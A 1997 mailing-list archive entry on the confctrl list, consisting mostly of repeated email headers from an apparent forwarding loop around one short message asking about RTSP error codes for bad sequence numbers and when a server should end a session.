 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054008.1063.481086; Sat, 31 May 1997 05:40:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072627.1063.481096; Sat, 31 May 1997 07:26:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01798>; Sat, 31 May 1997 02:45:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01792>; Sat, 31 May 1997 02:45:12 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28429>; Sat, 31 May 1997 02:45:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054000.1063.777410; Sat, 31 May 1997 05:44:26 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.054000.1063.777410@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 05:44:26 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090933.1063.481109; Sat, 31 May 1997 09:09:33 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03036>; Sat, 31 May 1997 04:31:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03030>; Sat, 31 May 1997 04:31:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA29506>; Sat, 31 May 1997 04:31:40 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072600.1063.777423; Sat, 31 May 1997 07:30:58 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.072600.1063.777423@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 07:30:58 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.105312.1063.481128; Sat, 31 May 1997 10:53:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03976>; Sat, 31 May 1997 06:14:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03969>; Sat, 31 May 1997 06:14:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA00492>; Sat, 31 May 1997 06:14:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090900.1063.777443; Sat, 31 May 1997 09:13:45 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.090900.1063.777443@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 09:13:45 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Sat May 31 08:46:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA06013>; Sat, 31 May 1997 09:47:24 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA06007>; Sat, 31 May 1997 09:47:21 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA03081>; Sat, 31 May 1997 09:47:16 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.124100.1063.777518; Sat, 31 May 1997 12:46:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.124100.1063.777518@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 12:46:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054008.1063.481086; Sat, 31 May 1997 05:40:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072627.1063.481096; Sat, 31 May 1997 07:26:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01798>; Sat, 31 May 1997 02:45:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01792>; Sat, 31 May 1997 02:45:12 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28429>; Sat, 31 May 1997 02:45:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054000.1063.777410; Sat, 31 May 1997 05:44:26 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.054000.1063.777410@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 05:44:26 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090933.1063.481109; Sat, 31 May 1997 09:09:33 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03036>; Sat, 31 May 1997 04:31:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03030>; Sat, 31 May 1997 04:31:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA29506>; Sat, 31 May 1997 04:31:40 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072600.1063.777423; Sat, 31 May 1997 07:30:58 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.072600.1063.777423@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 07:30:58 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.105312.1063.481128; Sat, 31 May 1997 10:53:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03976>; Sat, 31 May 1997 06:14:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03969>; Sat, 31 May 1997 06:14:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA00492>; Sat, 31 May 1997 06:14:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090900.1063.777443; Sat, 31 May 1997 09:13:45 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.090900.1063.777443@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 09:13:45 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.124124.1063.481152; Sat, 31 May 1997 12:41:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04870>; Sat, 31 May 1997 07:57:01 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04864>; Sat, 31 May 1997 07:56:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA01358>; Sat, 31 May 1997 07:56:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.105300.1063.777477; Sat, 31 May 1997 10:56:10 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.105300.1063.777477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 10:56:10 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Sat May 31 10:27:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA07122>; Sat, 31 May 1997 11:28:32 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA07116>; Sat, 31 May 1997 11:28:30 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA04425>; Sat, 31 May 1997 11:28:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.142200.1063.777545; Sat, 31 May 1997 14:27:40 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.142200.1063.777545@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 14:27:40 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
